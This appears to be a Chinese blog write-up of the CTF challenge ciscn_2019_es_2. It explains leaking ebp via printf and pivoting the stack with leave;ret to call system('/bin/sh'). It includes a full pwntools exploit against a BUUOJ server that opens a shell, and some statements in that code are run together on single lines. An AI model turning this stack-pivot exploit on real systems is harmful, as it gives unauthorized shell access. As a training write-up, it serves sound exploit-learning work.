ciscn_2019_es_2

附件

步骤:

  1. 例行检查,32位程序,开启了nx保护

  2. 32位ida载入,shif+f12查看程序里的字符串,这边的“echo flag” 是个迷惑性的字符串,它只是输出了flag这4个字符,但是程序里有system函数,到时候这个函数可以直接拿来使用

    system_addr=0x80048400

  3. main函数

  4. 程序主体在vul函数里

    读入0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop,但是这边可以给s写入2次数据,我们可以通过第一次输入来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入system(‘/bin/sh’),之后利用leave;ret的栈劫持去到参数s的栈,让它去执行我们布置在栈上的system(‘/bin/sh’)来获取shell

利用过程:
一、泄露ebp
printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出

payload='a'*0x27+'b'
r.sendline(payload)
r.recvuntil('b')
ebp=u32(r.recv(4))

二、找到参数s在栈上的位置
首先下个断点,来调试一下我们的ebp距离参数s的位置,在main函数的nop处下断点


’bbbb‘ 是我输入的参数,可以看到ebp距离我们输入的参数的距离是0x38

ebp-0x38就拿到了我们参数s在栈上的位置

三、布置s栈上的值
由于我们要用到leave;ret来劫持栈,所以先找一下leva;ret的位置

构造

payload='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"

第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
接着跟上system函数的地址
后面是执行完system函数后的返回地址,这边也可以随便写
之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串

将参数0x28长的s补齐

payload2=payload2.ljust(0x28,'\x00'

四、栈劫持,获取shell

payload2+=p32(s)+p32(leave_ret)

完整exp

from pwn import *

r=remote('node3.buuoj.cn',28967)

sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef payload='a'*0x27+'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38 payload2='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(s)+p32(leave_ret) r.send(payload2)
r.interactive()

最新文章

  1. c++实现kd树
  2. 闲扯json取值,联想map取值。
  3. 实例讲述PHP面向对象的特性;;;php中const与define的使用区别
  4. 磕磕碰碰的Chrome之plugin开发
  5. 判断浏览器是否为IE内核的最简单的方法
  6. 【2011 Greater New York Regional 】Problem B The Rascal Triangle
  7. (转载)MySQL默认INFORMATION_SCHEMA,MySQL,TEST三个数据库用途
  8. LeetCode OJ -Happy Number
  9. C# Winform 双屏显示
  10. polya定理小结
  11. [C#技术参考]Socket传输结构数据
  12. 前端project师,确定你的目标吧!无能的人才管他叫命运
  13. AMD宣布裁员7% 约710员工将失去工作
  14. android 操蛋的gradle
  15. Zookeeper 笔记-应用场景
  16. AFNetWorking 对汉字部分UTF-8编码
  17. DevExpress XtraGrid如何使单元格只读?
  18. 【Python】多进程-共享变量(Value、string、list、Array、dict)
  19. IDA*(以The Ratotion Game POJ--2286 UVa1343为例)
  20. 路由策略和策略路由 & route-map

热门文章

  1. 十本你不容错过的Docker入门到精通书籍推荐
  2. [atAGC054E]ZigZag Break
  3. [loj3364]植物比较
  4. 『学了就忘』Linux用户管理 — 52、用户组管理相关命令
  5. nginx安装与配置4-负载均衡
  6. Codeforces Gym 101221G Metal Processing Plant(2-SAT)
  7. Linux openssl 升级、降级
  8. Ubuntu16.04安装 2.8.5版本Ansible
  9. Hadoop运行jar包报错java.lang.Exception: java.lang.ArrayIndexOutOfBoundsException: 1
  10. day07 Linux配置修改